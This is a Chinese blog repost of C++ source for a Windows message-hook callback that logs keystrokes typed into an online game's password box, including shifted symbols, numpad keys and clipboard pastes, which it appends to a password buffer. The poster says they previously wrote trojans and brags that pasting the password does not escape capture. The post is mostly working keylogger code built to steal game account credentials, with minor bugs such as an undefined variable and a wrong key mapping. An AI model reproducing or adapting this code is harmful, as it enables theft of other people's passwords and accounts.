• 利用WM_GETMESSAGE做键盘记录


    转自:火狐论坛
    以前写过木马程序,先挂个WH_GETMESSAGE钩子,判断登陆键是否按下,又装个WH_KEYBOARD钩子,取密码键盘记录.钩子不易多用.
    发现只用WH_GETMESSAGE就可以了,这个就是WH_GETMESSAGE的回调函数.
    嘿嘿,有人说我用复制,这个我连复制都给他处理了.
    /*---------------------------------------------------
    *File:    
    *Effect:   利用WM_GETMESSAGE做键盘记录
    *Edit:   Huai_Huai
    *Page:  
    http://www.520160.com
    *Date:   2005.11.24
    *Compile by VC++6.0 on Winxp sp2
    ----------------------------------------------------*/

    LRESULT CALLBACK GameHookProc(
                                          int code,     // hook code
                                          WPARAM wParam, // removal flag
                                          LPARAM lParam   // address of structure with message
                                          )
    {
        MSG *pMsg=(MSG*)lParam;
        if(code<0)
              return(CallNextHookEx(hGameHook,code,wParam,lParam));

    if(ncode==HC_ACTION){
             
              if(pMsg->message==WM_KEYDOWN)
              {
                    if(GetFocus()==GetGamePassHandle())
                    {
                        HANDLE HFile=0;                    
                        char szBuffer[1];
                        ZeroMemory(szBuffer,1);
                       
                        //shift键按下
                        BOOL b_Sft=GetAsyncKeyState(VK_SHIFT)>>((sizeof(short)*8)-1);
                        if(!b_Sft)
                        {
                              switch(pMsg->wParam)
                              {
                                    //数字键
                              case '1':sprintf(szBuffer,"%s","1");break;
                              case '2':sprintf(szBuffer,"%s","2");break;
                              case '3':sprintf(szBuffer,"%s","3");break;
                              case '4':sprintf(szBuffer,"%s","4");break;
                              case '5':sprintf(szBuffer,"%s","5");break;
                              case '6':sprintf(szBuffer,"%s","6");break;
                              case '7':sprintf(szBuffer,"%s","7");break;
                              case '8':sprintf(szBuffer,"%s","8");break;
                              case '9':sprintf(szBuffer,"%s","9");break;
                              case '0':sprintf(szBuffer,"%s","0");break;
                                   
                                    //字母键
                              case 'A':sprintf(szBuffer,"%s","a");break;
                              case 'B':sprintf(szBuffer,"%s","b");break;
                              case 'C':sprintf(szBuffer,"%s","c");break;
                              case 'D':sprintf(szBuffer,"%s","d");break;
                              case 'E':sprintf(szBuffer,"%s","e");break;
                              case 'F':sprintf(szBuffer,"%s","f");break;
                              case 'G':sprintf(szBuffer,"%s","g");break;
                              case 'H':sprintf(szBuffer,"%s","h");break;
                              case 'I':sprintf(szBuffer,"%s","i");break;
                              case 'J':sprintf(szBuffer,"%s","j");break;
                              case 'K':sprintf(szBuffer,"%s","k");break;
                              case 'L':sprintf(szBuffer,"%s","l");break;
                              case 'M':sprintf(szBuffer,"%s","m");break;
                              case 'N':sprintf(szBuffer,"%s","n");break;
                              case 'O':sprintf(szBuffer,"%s","o");break;
                              case 'P':sprintf(szBuffer,"%s","p");break;
                              case 'Q':sprintf(szBuffer,"%s","q");break;
                              case 'R':sprintf(szBuffer,"%s","r");break;
                              case 'S':sprintf(szBuffer,"%s","s");break;
                              case 'T':sprintf(szBuffer,"%s","t");break;
                              case 'U':sprintf(szBuffer,"%s","u");break;
                              case 'V':if(!(GetAsyncKeyState(VK_CONTROL)>>((sizeof(short)*8)-1)))
                                              sprintf(szBuffer,"%s","v");break;
                              case 'W':sprintf(szBuffer,"%s","w");break;
                              case 'X':sprintf(szBuffer,"%s","x");break;
                              case 'Y':sprintf(szBuffer,"%s","y");break;
                              case 'Z':sprintf(szBuffer,"%s","z");break;                                
                              }
                       
                             
                        }
                        else
                        {
                              switch(pMsg->wParam)
                              {
                                    //数字键
                              case '1':sprintf(szBuffer,"%s","!");break;
                              case '2':sprintf(szBuffer,"%s","@");break;
                              case '3':sprintf(szBuffer,"%s","#");break;
                              case '4':sprintf(szBuffer,"%s","$");break;
                              case '5':sprintf(szBuffer,"%s","%");break;
                              case '6':sprintf(szBuffer,"%s","^");break;
                              case '7':sprintf(szBuffer,"%s","&");break;
                              case '8':sprintf(szBuffer,"%s","*");break;
                              case '9':sprintf(szBuffer,"%s","(");break;
                              case '0':sprintf(szBuffer,"%s",")");break;
                             
                                    //字母键
                              case 'A':sprintf(szBuffer,"%s","A");break;
                              case 'B':sprintf(szBuffer,"%s","B");break;
                              case 'C':sprintf(szBuffer,"%s","C");break;
                              case 'D':sprintf(szBuffer,"%s","D");break;
                              case 'E':sprintf(szBuffer,"%s","E");break;
                              case 'F':sprintf(szBuffer,"%s","F");break;
                              case 'G':sprintf(szBuffer,"%s","G");break;
                              case 'H':sprintf(szBuffer,"%s","H");break;
                              case 'I':sprintf(szBuffer,"%s","I");break;
                              case 'J':sprintf(szBuffer,"%s","J");break;
                              case 'K':sprintf(szBuffer,"%s","K");break;
                              case 'L':sprintf(szBuffer,"%s","L");break;
                              case 'M':sprintf(szBuffer,"%s","M");break;
                              case 'N':sprintf(szBuffer,"%s","N");break;
                              case 'O':sprintf(szBuffer,"%s","O");break;
                              case 'P':sprintf(szBuffer,"%s","P");break;
                              case 'Q':sprintf(szBuffer,"%s","W");break;
                              case 'R':sprintf(szBuffer,"%s","R");break;
                              case 'S':sprintf(szBuffer,"%s","S");break;
                              case 'T':sprintf(szBuffer,"%s","T");break;
                              case 'U':sprintf(szBuffer,"%s","U");break;
                              case 'V':if(!(GetAsyncKeyState(VK_CONTROL)>>((sizeof(short)*8)-1)))
                                    sprintf(szBuffer,"%s","V");break;
                              case 'W':sprintf(szBuffer,"%s","W");break;
                              case 'X':sprintf(szBuffer,"%s","X");break;
                              case 'Y':sprintf(szBuffer,"%s","Y");break;
                              case 'Z':sprintf(szBuffer,"%s","Z");break;                                
                              }
                             
                        }
                       
                        switch(pMsg->wParam)
                        {
                        //case VK_BACK:sprintf(szBuffer,"%s","");break;                          
                        case VK_NUMPAD1:sprintf(szBuffer,"%s","1");break;
                        case VK_NUMPAD2:sprintf(szBuffer,"%s","2");break;
                        case VK_NUMPAD3:sprintf(szBuffer,"%s","3");break;
                        case VK_NUMPAD4:sprintf(szBuffer,"%s","4");break;
                        case VK_NUMPAD5:sprintf(szBuffer,"%s","5");break;
                        case VK_NUMPAD6:sprintf(szBuffer,"%s","6");break;
                        case VK_NUMPAD7:sprintf(szBuffer,"%s","7");break;
                        case VK_NUMPAD8:sprintf(szBuffer,"%s","8");break;
                        case VK_NUMPAD9:sprintf(szBuffer,"%s","9");break;
                        case VK_NUMPAD0:sprintf(szBuffer,"%s","0");break;
                        case VK_MULTIPLY:sprintf(szBuffer,"%s","*");break;
                        case VK_ADD:   sprintf(szBuffer,"%s","+");break;
                        case VK_SUBTRACT:sprintf(szBuffer,"%s","-");break;
                        case VK_DECIMAL: sprintf(szBuffer,"%s",".");break;
                        case VK_DIVIDE: sprintf(szBuffer,"%s","/");break;
                             
                        }
                       
                        //其他键的处理
                        char KeyNameStr[50];
                        ZeroMemory(KeyNameStr,50);
                        GetKeyNameText(pMsg->lParam,KeyNameStr,50);                    
                        if(stricmp(KeyNameStr,"`")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s","~");
                              else
                                    sprintf(szBuffer,"%s","`");
                       
                        }
                        if(stricmp(KeyNameStr,"-")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s","_");
                              else
                                    sprintf(szBuffer,"%s","-");
                             
                        }
                        if(stricmp(KeyNameStr,"=")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s","+");
                              else
                                    sprintf(szBuffer,"%s","=");
                             
                        }
                        if(stricmp(KeyNameStr,"[")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s","{");
                              else
                                    sprintf(szBuffer,"%s","[");
                             
                        }
                        if(stricmp(KeyNameStr,"]")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s","}");
                              else
                                    sprintf(szBuffer,"%s","]");
                       
                        }
                        if(stricmp(KeyNameStr,";")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s",":");
                              else
                                    sprintf(szBuffer,"%s",";");
                             
                        }
                        if(stricmp(KeyNameStr,"'")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s","/"");
                              else
                                    sprintf(szBuffer,"%s","'");
                             
                        }
                        if(stricmp(KeyNameStr,",")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s","<");
                              else
                                    sprintf(szBuffer,"%s",",");
                             
                        }
                        if(stricmp(KeyNameStr,".")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s",">");
                              else
                                    sprintf(szBuffer,"%s",".");
                             
                        }
                        if(stricmp(KeyNameStr,"/")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s","?");
                              else
                                    sprintf(szBuffer,"%s","/");
                             
                        }
                       
                        if(stricmp(KeyNameStr,"//")==0)
                        {
                              if(b_Sft)
                                    sprintf(szBuffer,"%s","|");
                              else
                                    sprintf(szBuffer,"%s","//");
                             
                        }

                        if(pMsg->wParam     ==VK_BACK)
                        {
                              if(ipass>0)
                              {
                                    GamePass[--ipass]='/0';                                
                              }

                        }
                        else
                        {
                        ipass++;
                        strcat(GamePass,szBuffer);
                        }
                       
                        //你以为用复制我就没办法吗?
                        if(GetAsyncKeyState(VK_CONTROL)>>((sizeof(short)*8)-1))
                        {
                              if(pMsg->wParam     =='V')
                              {
                                    int i;
                                    GLOBALHANDLE hGlobal;
                                    hGlobal=GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT,255);
                                    OpenClipboard (pMsg->hwnd) ;
                                    hGlobal = GetClipboardData (CF_TEXT) ;
                                    i=GlobalSize(hGlobal);
                                    char* pText = (char *) malloc (i) ;

                                    LPVOID pGlobal = GlobalLock (hGlobal) ;
                                    strcpy(pText,(char *)pGlobal);
                                    GlobalUnlock (hGlobal) ;                                
                                    CloseClipboard () ;
                                    strcat(GamePass,pText);                                
                              }

                        }
                        //GetKeyNameText(pMsg->lParam,szBuffer,sizeof(szBuffer));
                        //MessageBox(0,szBuffer,NULL,MB_OK);
                       
                    }

              }
    }
        return(CallNextHookEx(hGameHook,code,wParam,lParam));
    }

     
  • 相关阅读:
    【Xamarin破解补丁找不到?】
    【Xamarin挖墙脚系列:Xamarin.Android的API设计准则】
    【给你几个使用Xamarin的理由】
    【Xamarin 跨平台机制原理剖析】
    HttpStatusCode 枚举
    C语音--static变量
    extern "c"用法
    C语言---类型转换
    VS2008资源问题解决方法
    003---hibernate主要接口介绍
  • 原文地址:https://www.cnblogs.com/tyjsjl/p/2156120.html
Copyright © 2020-2023  润新知